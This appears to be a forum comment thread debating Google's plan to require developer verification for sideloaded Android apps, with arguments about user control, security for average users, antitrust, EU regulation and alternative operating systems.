Now and then I remember this Hyperion book by Dan Simmons where everyone had a cross-like gadget glued to their chests, controlled by a TechnoCore - a civilization of AIs, which enabled people to cast themselves through space portals. As the story unfolds, this cross-like (very nice choice) gadget is revealed to essentially enslaving them.
The story unfolds in 28th century, but it all seems have started in the 21st one.
I'm certain that Google would turn their users into resurrected brain-dead meat computers if that would improve their quarterly profits
These companies need to be destroyed by antitrust violations. I am so tired of these tech companies abusing their market position. I want the FTC to stop being toothless and useless and just absolutely crush these companies. The amount of disdain I have for these companies can't even be properly expressed.
These companies are in bed with the government, you're not going to be saved by any legislation. Many people on this site supported Google censoring the Covid anti-vax idiots, but it should have made it very clear that Google was working at the behest of the government. They're in bed together; the government gets to do an end-run around the constitution, and Google gets to rely on special government privileges and protection. Win-win.
These corpos are part of the government, more or less, and they simply implement the edict to get rid of privacy. Not only in America. Smartphones have become eyes of the govs, while the Internet - something akin to their neural system. What's more interesting is why the govs feel so paranoidal and insecure recently? What are they afraid of?
Somehow I can run a webserver and anyone can browse it but if I make an app I need a DUNS number? What year is it?
Couldn't the CA system, for all its problems, suffice?
Android is getting more closed and iOS more open, I expect more people dissatisfied from both camps. We’ll have less choice overall as they gravitate towards a common middle ground.
It would be really nice if all you people with deep insight into this issue would inform politicians of the unacceptable nature of things like this. - Submitted FTC and FCC complaints. Likely does no good but going silently into the night isn't going to to fix anything either.
Most Android apps are crapware anyways. The only respectful apps that I know are open-source, and are being kicked out the of play store progressively.
I'm cancelling my Pixel 10 preorder.
I use linux on nearly all my PCs / servers. I do think about moving my phone to more open platform (fairphone, or rooting phone), but I don't like phones in principle, so I do not install stuff there. I do not do things on phone.
I have my apps as web pages, so I access them from phone web browser. I do not care about phone apps that much.
I use fdroid for calendar, gallery, and music though.
We are in an age that being screwed by the Giant Techs is inevitable and there is pretty nothing much we can do.
Holy shit, going to the official page[1], there's something that is somehow even worse than the loss of freedom:
"You'll need to prove you own your apps by providing your app package name and app signing keys."
That is capital-I Insane.
[1] https://developer.android.com/developer-verification
This is confusing, since signing something already proves that you own the key.
they've been demanding signing keys for apps distributed on the play store for years.
The only credible explanation I can come up with is that they need the keys in order to produce indistinguishably backdoored versions of applications, handy for tools like signal.
Otherwise one would never think of requesting the private keys-- if google wants to rebuild apps themselves they could sign with their own keys and possessing anyone elses private key is just pure liability as if there is any discovered abuse they can't show that they weren't the vector.
So sketchy!
My assumption is they want to eliminate/prevent schemes where a ton of apps are signed as a service by a small number of centrally controlled keys.
Someone elsewhere in the thread said this is how F-Droid works, but I can't confirm firsthand.
The signing certificate should indicate who is signing, and therefore who is liable. But maybe that’s not how they set it up previously.
This truly sucks, since in this day and age we need unmodified phones for banking apps (and I think for oncall my company requires Android/iOS as well). I guess this will be the final push for me to change to iOS, since I already have a bunch of Apple stuff otherwise, and I was holding out on the phone side for this exact feature.
> This requirement applies to “certified Android devices” that have Play Protect and are preloaded with Google apps.
I would be fine, if it was mandatory for Android manufacturers to allow installing alternative OSes. Normies could benefit from the added security on their certified Android device, and advanced users could install GrapheneOS.
I've been saying in threads on iOS vs Android for years how we're lucky the only other phone OS out there allows sideloading, and the nightmare we'd be living in if it didn't.
Guess we've arrived, I wish people voted with their wallets more, iOS could have added this a decade ago.
If I have to be in handcuffs, I would rather them be high-quality hardware like Apple. So far, the only two things that have held me away from the Apple ecosystem are Linux and Android and the flexibility they offer. Seems like we are just left with Linux now. A very sad day.
The desire for people to keep using their currently working devices just got much bigger, and yet another good reason to root.
The infamous Franklin quote always comes to mind when I see things like this happening. Choose freedom over security while you still can, or you'll soon not even have the freedom to choose.
It's also worth reading Stallman's "Right to Read" again, to see how scarily prescient he was.
Next is your ID card to contribute to FLOSS projects, not like they thought about it to "secure the supply chain".
This is why I started investing in alternative Linux based solution providers in the smartphone market years ago. It was not if but when Google would take this path.
The only way I want to engage with Google is when it cost them money. I will not give them a penny directly.
Of course they will. It started with Play Integrity and hardware remote attestation. Soon Android will be nothing but a shittier version of iOS.
terrible news. i dont like it a bit. wth are they doing? i know all they care about is money but this is bad for everyone.
For example Telegram they have two app versions one in playstore where google can dictate what channels are allowed and one on their website where google can't force them to take down channels, so now Google will need to approve Telegram second app to be installed on Android?
Source: https://android-developers.googleblog.com/2025/08/elevating-... (https://news.ycombinator.com/item?id=45016602)
The problem here is that the EU, which would normally be the only hope to put a stop to bullshit like this, seems to like this.
It's easy. For the average user, device integrity is more valuable (by a lot) than side loading.
People that think this is unacceptable are not remotely average users. Average users benefit greatly from their pocket appliance not being a full fledged computer.
Ultimate control over devices you own should be a basic right. Apple's wanton abuse of users and developers via the control they have over their platform, and Google's nipping at their heels, should be evidence enough of that.
Fundamentally, it is a trust issue. Why should I be forced to trust Google or Apple has my best interests in mind (they don't)? That is not ensuring 'device integrity', it's ensuring that I am at the whims of a corporation which doesn't care about me and will leverage what it can to extract as much blood as it can from me. You can ensure 'device integrity' without putting any permanent trust in Google or Apple.
Why should I be forced to trust Google or Apple.
You are not.
It's certainly convenient in this modern world to pay for and use one of their devices though.
That was intended to be a generic 'device manufacturer', not calling out Google and Apple specifically. It's my device. I should control it, full stop. It should simply not be legal for a device manufacturer to lock me out of a device I own, post sale. In the past it wasn't _possible_, so we didn't need to worry about it. But now the tech is at the point where manufacturers can create digital locks which simply cannot be broken, and give them full control of devices they sell (ie. which they no longer own), which are being used in anti-consumer ways.
Considering market forces are against it, I believe the only practical way to accomplish this in the long term is for this to be a right that is enforced by legislation. I don't think it is even far from precedent surrounding first sale doctrine and things like Magnuson-Moss, that the user should be the ultimate one in control post-purchase, it just takes a different shape when we're talking about computing technology.
It's my device. I should control it, full stop.
No one is forcing you to buy a particular device.
> No one is forcing you to buy a particular device.
True. But society in practice requires a smartphone with one of two operating systems to live a normal life without significant efficiency losses in your day. Now all phones with both of those will be completely walled off. You'll be forced to participate or make your life a lot less convenient.
Surely you wouldn't defend absolutely anything happening to say roads just because you're not forced to drive, technically speaking?
So you think it's okay for manufacturers to take advantage of users as long as they continue buying the locked-down devices? I disagree, and I think this argument is incredibly disingenuous. You could make the same specious argument about nearly any consumer protection or antitrust case. Just because consumers will put up with it, or because they are manipulated into believing it's good for them, doesn't mean they shouldn't be protected.
Furthermore, if you fundamentally allow this behaviour, the market forces are sure to push us to an end state where users simply have no control, and there are no viable alternatives. We are most of the way there already when it comes to smartphones. The cost of entry to this market (many $billions over many years, if you can even manage to gain meaningful marketshare at all), and the amount of money that is on the table (30% of the $billions transacted on a successful platform today, but who knows how far they push with a real stranglehold) means that it is virtually impossible for competition to solve this problem.
You are forced to trust Google or Apple if you want a smartphone. They own the whole market, it's a duopoly. You already have no power to install an OS without such limitations on most smartphones.
Limitations because it's not just protection - you don't get to choose which authorities you trust. Defaulting to manufacturer/OS vendor as the default authority would be ok, but there is no option to choose. Users have no power over their own device. That's not ok even if most choose to never execute it or don't know about it, it will lead to abuse of power.
Modern life without either of these OS (or like a phone number) is pretty difficult, i.e. you can't charge your car or access e-government without an app.
Time to support open source mobile OS's then.
I’m willing to sacrifice your rights if it means that there’s less incentive to steal my phone
why do you think you have any say over others' rights? using that same logic, you know what? i think you're going to steal my phone. so do you mind if i sacrifice your rights and install a camera right in your room? wouldn't want you to plot the theft of my phone now would i
Id argue that the average user is not a good barometer. They are okay with slowly being boiled alive. See windows 11 as a good example.
What's being sacrificed in the name of security is not worth it imo.
Enabling side loading on android is not a standard setting you can flick on. Is there any data on the number of devices who have this enabled and are falling for hacked apps?
I might partially agree, but the market already has a fantastic, secure option for those users: Apple.
Android's value was always in being the open(ish) alternative. When we lose that choice and the whole world adopts one philosophy, the ecosystem becomes brittle.
We saw this with the Bell monopoly, which held up telephone innovation for three quarters of a century.
In the short term, some users are safer. In the medium term, all users suffer from the lack of competition and innovation that a duopoly of walled gardens will create.
They're happy in their walled garden, until they don't and discover there is a wall they now can't overcome and learn whose hardware it really is
I do think it is in everyone's interest to be able to run software of your choosing on hardware you bought to own. The manufacturer needn't make it easy (my microwave sure didn't expect to install extra software packages; I don't expect them to open up an interface for this) but they also don't need to actively block the device owner from doing it
> Average users benefit greatly from their pocket appliance not being a full fledged computer.
In what way? Seriously, what benefit is there? (And don't say security...)
Not having social media?
The world would be a much better place if we only had calls and direct messages.
Bro, you forbade exactly the reason this is good for average users. Average users get emails that say:
> you have been infected by 3 viruses, click here in the next 5 minutes or the damage will be permanent
And they believe it. Giving them the power to run any software they want, also means giving everyone else the power to make them run any software they can be tricked into installing.
I'm deeply concerned about how this will impact users like us, especially since we're such a small minority that our desires could easily be trampled by the masses, but this is a clear win for the average user.
(And don't make the perfectionist fallacy w.r.t. Google not successfully preventing 100% of malware)
Damn we should just give up on this whole computer thing outright then, seems pretty dangerous. There are plenty of other things we could strip away that would make people much safer than just installing software, that's thinking small!
Stripping away computers entirely would have significant negative impacts. For the *average user*, preventing them from side-loading unsigned apps will have no negative impact.
For now, maybe. Like all discussions on freedoms and rights it's usually not about the day to day impact or the average person, if we optimized for the average person, we'd be in a sorry state.
> And they believe it.
Two reasons: they are not educated about devices they use, desktop operating systems are still awful at security (exe from a mail attachment can have a pdf looking thumbnail, executed with two clicks, even if accidental, immediately gets access to all user files... the whole concept of antivirus software...). It has nothing to do with side loading, especially on Android, where sideloading is a very explicit action already, and then you need to allow the application to do harm.
> Giving them the power to run any software they want, also means giving everyone else the power to make them run any software they can be tricked into installing.
You are taking away people's agency. Either you get to control your bank account risking that you get scammed, or someone will control it for you.
> very explicit action already, and then you need to allow the application to do harm.
So the email they get which tells them about the 3 viruses also contains a phone number where a "nice tech support person" will walk them through the steps of side-loading the "anti-virus app". You'd be surprised at what warnings/permission boxes people will blindly accept when they think they're talking to someone from Microsoft or Google's tech support.
> You are taking away people's agency.
Agency they don't want and never use. It's taking away agency from people like us but for the average user, Google is taking away nothing they've ever cared about.
> Either you get to control your bank account risking that you get scammed, or someone will control it for you.
I was just saying a couple of days ago that we need a service for old people where any transaction above a certain configurable threshold (for example, $500 in a day) has to be approved by an employee of this service who serves as a neutral 3rd party whose sole function is to try to prevent scams. That way the old folks would still have their agency so they can go out and buy all the hot-rods and transistor radios they want but if they're about to wire money to "Microsoft" then the anti-scam-company would step in and prevent that transaction (or at least require the old person have a discussion about why its an obvious scam first before eventually allowing the transaction through depending on the client).
Whether this change actually takes control away from us remains to be seen. For example, I don't see anything in the article that suggests we wouldn't be able to install a custom ROM with the signature check removed. Personally, I already run GrapheneOS so I expect I actually won't be impacted by this at all.
> You'd be surprised at what warnings/permission boxes people will blindly accept when they think they're talking to someone from Microsoft or Google's tech support.
But I know they do, I've seen this first hand. It's lack of education (except for extreme cases of people who cannot take care of themselves. but that's not the majority)
> Agency they don't want and never use. It's taking away agency from people like us but for the average user, Google is taking away nothing they've ever cared about.
It's agency they don't know they want, until it suddenly becomes useful. I'm not expecting everyone to use side-loaded, unapproved apps every day, it's about keeping OS vendors in check, about limiting their power over devices they don't own. If they act against users, there should be a way to circumvent them. Such ideas take that away.
> I was just saying a couple of days ago that we need a service for old people where any transaction above a certain configurable threshold (for example, $500 in a day) has to be approved by an employee of this service who serves as a neutral 3rd party whose sole function is to try to prevent scams.
Enabling such a service is a choice they would have to make. The default is control. The situation with all side loading restrictions is opposite - you don't get to choose.
Unless you are suggesting that such service should be forced on people that match some vague "old" criteria. Our disagreement goes far besides technology in that case.
> It's lack of education
Saying "the users need to be educated" doesn't solve anything. Google could start an education campaign tomorrow and it would be ignored by most of the people that need it. If they were interested in learning then we wouldn't have this problem.
> If they act against users, there should be a way to circumvent them
Then install a custom rom. All the power you want is already available, just no longer on the official android builds. Seems silly to demand Google screw over the majority of their customers because you don't want to install a custom rom.
> The situation with all side loading restrictions is opposite - you don't get to choose.
On the contrary, you choose when you purchase your phone. If you don't like it, purchase a phone that caters to users like us. There's the librem5 which I sadly own but that phone is a joke (but tolerable if the android landscape starts looking too much like Apple). I've heard good things about the pinephone but personally I'm never touching anything that comes out of pine64 again after the disastrous pinebook pro. I love the idea behind the FairPhone but the security on that device is a joke. I'm hoping the GrapheneOS people launch a decent phone.
> Saying "the users need to be educated" doesn't solve anything. Google could start an education campaign tomorrow (...)
Of course just saying it doesn't fix anything.
I don't want Google or Apple or any other vendor to do any education campaigns (and they clearly don't even want to try), part of my point is that the issue is too deep to be solved by such technological measures. For example, not skipping such warnings (includes invalid/expired certificates in https) and basic cyber hygiene should be taught in schools. There should be more public campaigns about these issues.
So I'm not even sure if Google should be fixing that particular problem (although I can guess why they are really eager to "solve" it this particular way). I would rather they focused even more on a stronger sandbox, making sure system software on licensed phones has no vulnerabilities and making sure the users understand what power they give to an application, than pretend that this fixes much. Sideloading restrictions only barely (because it's not like they are actually going to verify the applications, nothing about that in the post) plug one way to scam people remotely, over many, many other more severe ways. The banks in many countries don't even properly verify identity of people they give loans to, why not focus on that instead? (Yes, Google won't fix this, I'm not asking them to, they shouldn't try.)
We lose more than we gain.
> Then install a custom rom. All the power you want is already available
On most phones it's not, but that's besides my point.
> Seems silly to demand Google screw over the majority of their customers because you don't want to install a custom rom.
I'm not demanding Google to screw over anyone, and the current "sideloading" situation does not screw over anyone. I just believe that the vendors should not have the sole power to decide what applications can be installed on devices they don't own. Maybe let's have multiple certification authorities besides Google, like with TLS, as a start/compromise? I see the point of actually having an expert verify if an application is legitimate, and this isn't even it.
> On the contrary, you choose when you purchase your phone.
That choice should not be made when the phone is purchased.
And also I'm not talking about what I want to do with my phone, I'm talking about what I believe people should be able to do with their phones - for example they should be able to opt out of such protections if they don't want them (and leave them on if they want them), or choose who verifies their applications. Only possible if they know what the protections do and what the risks are, going back to what I wrote about education.
> this is a clear win for the average user.
In the short term, yes. In the long term, it means Google can ban any app it doesn't like, and it means governments can compel it to do so.
Governments being able to ban software without easy workarounds could have far-reaching consequences affecting people who don't even use the software in question. This is a Bad Thing even if it helps keep a few people from getting scammed.
> Average users benefit greatly from their pocket appliance not being a full fledged computer.
Why, though?
There's certainly no technical reason that a pocket appliance can't be a full fledged computer. The primary reason it isn't is because device manufacturers benefit greatly from having a tight control over their products. This is not unique to mobile devices; we see the same trend of desktop operating systems becoming increasingly user hostile as well.
The claim that these features are in the best interest of users is an inane excuse. Operating systems can certainly give users the freedom to use their devices to their full capabilities, without sacrificing their security or privacy. There are many ways that Google could implement this that doesn't involve being the global authority over which apps users are allowed to install. But, of course, they are in the advertising business, where all data that can be collected, must be collected.
> For the average user, device integrity is more valuable (by a lot) than side loading.
Right until their devices start to act against their will.
The device integrity is are talking about it integral only to Google and Apple. Not to you.
Agreed. Most people don't care that they can't run "unauthorized app XYZ", as long as their bank account / vacation pics / texts don't leak.
Now, that may happen anyway, but they'll give up a TON to avoid that.
Me, I try to avoid using my phone for anything important, use a VPN under Linux at home whenever possible, ad blockers, privacy guard, etc, etc. I can't expect my non-technical family members to do that.
Bad car analogy coming up: MOST drivers benefit more from ABS than the few really, really good race car drivers who can do threshold braking and outbrake ABS - and even then, I doubt it's true for anything but the earliest ABS systems. I'll bet the newest ABS systems are better than almost any human - because they don't have an off day, don't get distracted, etc.
And I get the anger - I'm an old school Atari 800xl / ST / DOS / Linux user who tries to ditch Windows where possible. Restricting things seems heavy-handed - and I don't trust Google in the least. But I would NEVER tell anyone in my family to sideload an app, even though they're all Android users - I don't want that support burden.
But this is not about device integrity.
I'm all for code signing and integrity verification. We need both technologies on pretty much all devices.
You are just conflating two different issues - side loading has nothing to do with device integrity.
Don't pretend that average users are asked, or that their opinions would matter. Or even that you have some sort of insight into the average user that other people don't have.
People who think this is unacceptable are the people who 1) understand what it is, 2) don't stand to profit from it, and 3) don't dream about locking average users into an ecosystem that they control some day.
You say this as if the widespread embrace of Apple/locked down Android phones is meaningless, fully a bamboozle with no user choice reflected at all.
Then they should go buy a boomerphone that can make calls and text and nothing else and stop screwing things up for the rest of us.
Average users also benefit from restricting their ability to purchase alcohol or tobacco, but I don’t see anyone suggesting that…
And people who are financially interested in letting users side-load apps (malicious or otherwise) are good at what they do. I mean, even Russian banks that are banned from the Apple App Store are still finding ways to distribute iPhone apps.
Most users are oblivious around those issues, how can they possibly make an informed choice here?
The EU is some kind of Jekyll and Hyde entity, you can never be sure which way it will go next.
EU loves regulation. And it's much easier to regulate things when there are a few large providers that can be mandated to enforce your laws.
Will this affect GrapheneOS users who have Play Protect / Services disabled? Wondering how they intend to do the verification.
I have been preparing myself psychologically for this for a long time. I will have to carry a shitty Google phone for anything that requires access to apps, and a proper Linux phone for my own use like browsing and reading/watching videos/listening to music.
While I like to jump on the Google bash train as much as anyone, this is to comply with EU laws.
Apple implemented a similar change for the EU App Store earlier this year to comply with the Digital Services Act (DSA), a regulation that now requires app developers to provide their “trader status” to submit new apps or app updates for distribution.
But this is for apps outside the Play store, so the DSA isn’t at play here insofar as Google needs to be concerned. I don’t think there’s any solid decision on whether third-party app distribution is subject to the trader requirements, but if/when there is, it’d presumably be on the alternative distribution platform to enforce, not Google. Plus, Google already adjusted its policies to comply with the DSA.
For the record, Apple notes that the DSA requirements only impact developers distributing through the App Store, not through alternative distribution [1].
[1]: https://developer.apple.com/help/app-store-connect/manage-co...
> for distribution.
I.e. it doesn't require this at all, it merely requires Google require verification for apps that they themselves distribute. What they've been doing all along until now plus or minus minor bookkeeping details on what data they collect.
There is no law in EU which requires Thailand-based developers to provide their trader status in order to serve Thai customers. Stop making shit up.
So they (or rather TC) claim. Does the DSA actually require it, though?
Just wonderful. Why does Europe insist on imposing regulations like this that companies then force on the rest of the world? It's one thing if they're benign but this very much isn't.
Only monetized apps (whether that be directly paid, microtransactions, ads, etc.) are legally required to go through that process - and it's a perfectly sensible requirement for the government to say "if you want to run a business, you need to do so as a business".
That is most apps - but not the kind of apps Google is attacking here (personal-scale, actually-free, third-party, etc.). And "apps that are not monetized" is actually a very nice thing to filter for from a user perspective.
Of course, the world's largest malware vendors love to use government action as an excuse to do something else malicious.
IANAL, but I don't see how that applies to apps that Googled doesn't distribute.
They usually fight harder against such laws if they don’t suit them.
Wouldn't developers be the most powerful protesters?
Stop making or maintaining Android apps. Make apps warn users about upcoming changes and why they'll lose access to the apps they love. Decrease Google's ecosystem appeal. Money is king.
The page about developer verification (announcement link 2 in the root post) says that there will be a separate type of account for "student and hobbyist developers". Why? What prevents students and hobbyists from using the regular type of account?
It is likely meant to be less onerous. The better question is: why do hobbyists and students need any kind of account?
You want to write an app that will only ever be put onto your own phone? Why should Google care?
This is not about safety. This is all about control.
Well this is me moving to E/OS full time.
This seems equivalent to Notarization on macOS. https://developer.apple.com/documentation/security/notarizin...
first they avoided publishing drivers (makers), then gutted unlocking bootloader, and now this...
can we like... regulate the ** out of makers to force them to make bootloader unlocked & provide drivers (for linux) for their devices?
Any developer working on this ought to be ostracised, divorced and shunned by their family.
They want to stop adblocking YouTube apps
What does it mean to app developers like me? if I want to create an app, in however shape and form and want to run the apk from the adb files... I can't do that? What? Then how do I tinker and learn? My app, I would like it to run regardless!
Will this be what finally leads to the success of a fully open-source Android fork such as CalyxOS or GrapheneOS?
CalyxOS is already dead. GrapheneOS is the only hope.
https://calyxos.org/news/2025/08/01/a-letter-to-our-communit...
Are there any competing phone OS'es still around? Maybe there is something in China I dont have a view on?
https://en.wikipedia.org/wiki/HarmonyOS
It does have an Android subsystem stuck on, but it's not necessary.
https://puri.sm/products/
This would affect a lot apps that are not on the Play Store for multiple reasons... and if I'm going to be stuck with what Google thinks I should be allowed to use, then why not use iOS instead? At least software updates would be better and the overall experience more polished.
I wonder if this was hastened by groups like DJI, who are too popular to be bound by a silly app store and chose instead to give their users sketchy side-loading instructions for their apps.
Anyone else remembers “don’t be evil”?
as a general philosophy, anything that I can do on the Web I do it using a browser. The less apps I have the better.
And to those, many here, who "but web apps are ugly, native feels better": you are contributing to all of this.
I think the push for verified developers is a double-edged sword. I got into this space, precisely because of how easy it was for me with my pentium computer a decade ago.
I'm waiting for this with chromium too. Microsoft Edge most removed uBlock Origin on me today.
> Google wants to combat “convincing fake apps” and make it harder for repeat “malicious actors to quickly distribute another harmful app after we take the first one down
When will they go against malicious ads in apps?
Glad I still have time to cancel my Pixel 10 preorder. Fuck google
Some cross platform iOS/Android apps I use have been retired or discontinued because of this ruling. Devs don't want to open themselves up to legal, bullying, harassment, etc.
The day this happens is the day I stop using "certified Android devices."
It seems that it was only about time… it just feels like the pace of enshittification with big tech being able to get away with anything is crazy!
I’m hoping that projects like Precursor can take off because we’ve buried ourselves in such mountain of complexity that seems like only a billion/trillion dollar big tech company can make an OS.
But then again, some body called BS on browsers and we might have a good option soon in Ladybug!
https://www.crowdsupply.com/sutajio-kosagi/precursor
Fuck google for this. Awful decision. Guaranteed to be abused when Google or government despots decide that certain apps (or developers) aren't aligned with their interests.
Feeling very frustrated with the way the internet is going lately. This plus OSA + chat control. And compounded by the imperative for AI companies to keep hoovering up any and all data they can get their hands on, wiring it into "agentic" workflows and such.
When I switched from Android to iOS, this was one of the things I missed a lot: the ability to write my own app and side load it on my phone. Even more so with the advent of LLM. Oh well, now I don't have to worry about that.
This is a nightmare, i mean we cant put malware on our device now?
I see opportunity for a Google "certified/verified" Android phone with mediocre CPU, average screen (4.5-5") and 15000mAh battery.
Nobody will do anything about it and things will continue to get worse.
This isn't a big deal to me because I hate smartphones and do everything on PC anyways. The real problem for me is Microsoft, I guess we're stuck with Linux now
Fuck google.
This combined with the 'age verification' coming to all Google properties means it is a very small step from that new world to full Google verification of everything you visit and everything on your device, at any time, for any reason with the penalty being incontestable ban from your device, apps and data.
Get ready for facebook style 'we are interrupting you for a video selfie because we have detected you are a threat' across all google properties (Android, Chrome, Gmail, Maps...).
Move to linux phones, now.
As much as people are making this out to be a Google thing, I think this is more about the security requirements many countries are imposing.
I did some surface-level research, but I couldn’t find any country that explicitly or publicly requested this from Google.
While I saw countries discussing the issue, none of them seemed to ask Google directly to only allow authorized third party apps.
That makes me think this is entirely a power move. If those countries had actually asked Google to step in and make phones safer, there are other ways to do that. And if they did explicitly request this particular solution, then why isn’t it being implemented only in those countries?
This is a software-based solution—just like Apple limits certain features to specific regions, Google could do the same and restrict it to the countries that require it.
So for our non public company apps I will now have to verify? What.
This is the singular reason why I moved to Android in the first place. I want to install whatever APK I want without anyone having a say on my device.
"Monopolies" gonna monopolize, all for our safety, of course
I know Android apps are already in a pretty tight security environment. Perhaps they could put unsigned side-loaded apps in an actual container.
It's only a question of time till DMCA takedowns will be abused to being down every app which remotely competes with any business model.
This invalidates so many reasons to still use android.
Is that after the top execs join the US Army? [0]
0: https://news.ycombinator.com/item?id=44330155
How does this affect installing an APK to an offline device?
Will there be a local override?
Tech like f-droid will be important for the future of free Android
There's a huge modding scene out there, people who modify APK's to strip them of bad features, make them leaner, etc.
Looks like Google wants to kill it too.
I think it would be ok if it was not for the fact that Google will most likely abuse it for other purposes like locking out indie developers even more.
While my confidence is usually pretty low with random repos, I am fairly sure there are more malware on the playstore than there are as .apk on github.
Great. I suspect this will push more developers to publish web apps.
I pin a webapp to my homescreen, open it and pay without any issues. Aren't webapps the way around this, and pretty common already?
With Chat Control and similar measures on the way, we are one step closer to your hardware actively working against your interests with no way out.
Okay so that removes the last reason to use Android.
This is just another 'it's only about money' move from Google. Only Google approved apps means monetised apps. Monetised means Google gets it's cut. Google gets richer. More in-app purchases, more ads, more money for Google
Customers? Eh. What? Huh? Who cares
I'm surprised so many people would be impacted by this. Why bet your livelihood on a corporate sponsored, second class ecosystem?
So, now there will be a single kill switch where a malicious government can legally compel Google to annihilate apps not of their liking.
I find it hard to state how contemptible this is. How stupid. Everyone who worked on this has blood on their hands.
I'd wager there will be a buried setting to manually enable specific apps along with a warning. Like how macOS does it now by blocking unsigned apps.
Oh how I wish I could buy a Nokia N900 16 Pro Max and use Maemo 13
The N900. The best mobile device I've ever owned.
The ability to sideload on Android is the main reason I've never bought an iPhone. This is a terrible move from Google.
Maybe we need phone sized open source computers.
The only saving grace is you can always import a Chinese phone without the play store at all, and then you can install what you want.
https://www.gnu.org/philosophy/right-to-read.en.html
It is funny how true this becomes with passing day.
There goes the dream of ai allowing normal people to develop cool stuff. Talk about 'big company' stifles the little man.
I see how this is developing. First going more or less close source and then reeling in the freedom - they are not going so much Microsoft but Apple.
On the side, I'm even more sad because I feel like the open web can't be the alternative answer to locked down systems. It was the promise and the dream of the many of us years ago, but I'm disillusioned by now. And not only because Chrome and Webkit(on mobile) are a monopoly, but the web keeps failing its users with bad ux and less capapabilities than native. Even the most well crafted web app feels slow and clunky. Unpopular opinion: who makes web standards failed us and browsers independently implementing non-standard anti-user feature(e.g. manifest v3). I really dream of a stripped down browser that just expose some os native apis for making accessible human interfaces, we had flash and we hated it imo we need flash again
My son uses an android phone as a medical device with apps that are either downloaded or compiled. Hopefully this won't touch lineageOs
Pieces of shit.
I have several own-built apps which I use for different purposes only on my own devices.
Why the fuck should I become a verified developer just to use/install/update them?
I'm already pissed off enough by the fact that I must agree to let them upload and scan my app just to install/update it.
I'm not a fan of restricting sideloading. But i do hope they get better at not offering malware in the official PlayStore
Relevant as always: https://youtu.be/ntICHMV-WMA?t=38
So Google won't even offer a system toggle to let users install an app they've made or copied?
Google don't even expose a per-app toggle for app Internet access, why am I surprised?
This is disgusting.
Freedom died a little bit more today.
Why is end-user choice and consent not considered?
It's really disturbing that the EU and Google would do this.
I can't recommend Android or iPhone because of this nonsense.
> Why is end-user choice and consent not considered?
The elimination of user choice was very much considered. In fact, it's the primary goal.
Blame Apple for this garbage. They have paved the way by trying to circumvent the DMA.
Hopefully the EU slaps everyone with massive fines for these obvious anticompetitive plays. Best case scenario would be an outride ban giving local companies space but I doubt this will happen given how spineless the current commission is.
Clearly for American companies to be tightening the noose like that quoting the approval of authoritarian countries, it means they’re starting to feel the fire. It’s hard to not see the obvious link with them losing against Epic here behind the usual security smoke screen.
Both Apple and Google should have been broken to pieces for their egregious anti competitive behaviour a long time ago anyway.
Do we know what was the European Commission response to Apple "complying" to the DMA by allowing sideloading with notarization and fees?
As far as I can see, the latest developments are from April 2025 when the commision fined Apple 500M€ for non-compliance due to preventing developers to advertise their app being available on a third-party store.
The distribution term imposed on developers are a separate investigation that the one leading to the 500M€ fine. Preliminary view as of April 2025 is that Apple conditions are in breach of the DMA [1]. Apple has some time to reply.
Except fines to be coming soon. That’s why Trump is threatening the EU about IT firm compliance right now.
GOOGLE SHMOOGLE IM WITH PEWDS We have to rebuild and replace this entire stack NOW! It’s out of control!
Meanwhile, I suppose a big "rollback" will needed in EU for the DMA (Digital Markets Act)
The Play Store is full of certified verified malware. How is this going to help? This is all about control...
>However, developers who appreciated the anonymity of alternative distribution methods will no longer have that option.
Don't be evil Google!
With more and more things like this, we need to back to making native apps on desktops and laptops where we as the users are in control.
That was one of the last reasons I had an android phone for.
Switch to Iphone now? Maybe the in crowd will like me now.
The day is coming when I just turn off my phone and leave it in a drawer 90% of the time.
OK, fine, but how will I build and launch an APK through android studio / flutter?
Guess I'm getting an iPhone. If both are locked down, I may as well have the one that has a decent watch.
Pixel watches are pretty good now, and I didn't much like the changes made in WatchOS 10. But, it's a fair point.
Malware is just an excuse to kill of competition. This is textbook anti-competitive behaviour.
This means that for example I will not be able to side load Popcorn Time for Android [1] anymore?
[1] https://github.com/popcorn-official/popcorn-android
aside from the obvious power grab, the official announcement mentions that there were discussions about this move somewhere and they claim to receive positive feedback, can anyone point me to these discussions? I can't seem to find them anywhere
So I guess I'll need to make sure I get a device that isn't certified Android?
Guys, it's been over for a while now. And I mean decades... This is just one of the next steps in the path that's been laid out in front of us since the general population reached critical mass on the Internet and the ruling class (politicians, the media, corporations...) went all in on exploiting them for money and power. If we don't radically change the underpinnings of how the entire system works, we're in for much worse than this.
Remind me again why we can't use HTTPS certificates to sign code that is linked with a domain?
I'm curious what is going to happen to all those Chinese ROMs and third-party Chinese app stores.
China will push own Android OS forks into other markets even harder, if they do it fully open-source then bonus for them, users will force devs (banking apps etc) to get more support. A good example is one EU bank which publishes to Huawei's AppGallery to support non-Google certified Android phones.
Phew! I was just about to get the new Pixel too, not going to now. I wonder if Samsung will be effected.
> The changes will affect all certified Android devices once live
I think that is a yes, it will affect Samsung
Yeah, I think anything that has Google Play would fit that qualifier. So that's basically all major devices (in the West, at least). Oof.
It'd be really funny if Chinese Android devices actually end up being more free because they don't have any of the Google Play stuff on them.
Note that most of them do. Huawei was banned from it but I'm not aware of other notable brands that do not ship Google software (besides that one vendor that ships Apple software)
Most Android phones sold in China include Google Play by default? That's news to me.
He might mean include the "stub" APKs that are necessary for Google Play to function in any phone, Huawei was famously not allowed to have those.
Yeah okay, so none of them come with Google Play but in general it's possible to install it, but on Huawei it's not, right? I could see that being the case.
If I wanted only apps signed by developers I'd use Playstore.
has anyone had to help any elderly relative with the million scams they've downloaded from google's app store? google does not give a shit about helping regular people avoid scams, it's all just bullshit.
not even to mention the h1b indian kickback stuff that's about to hit them. couldn't happen to a nicer company.
Helping elderly with scams: Yes, today, with Google Chrome. They got tricked into allowing desktop notifications and they look super legit on Microsoft Windows, styled like antivirus notifications and everything, covering the browser UI to get to the settings. I don't see how using closed software helps here
The demographic of people being scammed in the primary regions impacted typically do banking with their phones and not a PC.
You know how folks in the UK are cutting the surveillance cameras, what is the equivalent here?
making an ADB-based debloater and browser shims to use stuff like bank apps, then sharing that with others. Then again, like cutting wires, it doesn't address the root cause.
Not updating Android I guess
I think there are some errors when trying, but it should be fixed soon.
I don't understand, when the EU announced that Apples "actually we need to sign all of these and pay us" requirement is illegal, Google was like "hold my beer"?
Break them up already, it's getting old.
This deplorable company has just condemned humanity's right to open computing. They sold themselves as open, smothered out all other open competitors, and then once they had complete dominance over the open phone market did this.
Even if Google backtracks now. Governments will latch on to this idea just like they have with client side content scanning. This will never go away. Thank you google you despicable pieces of shit.
What now? Where do we go from here?
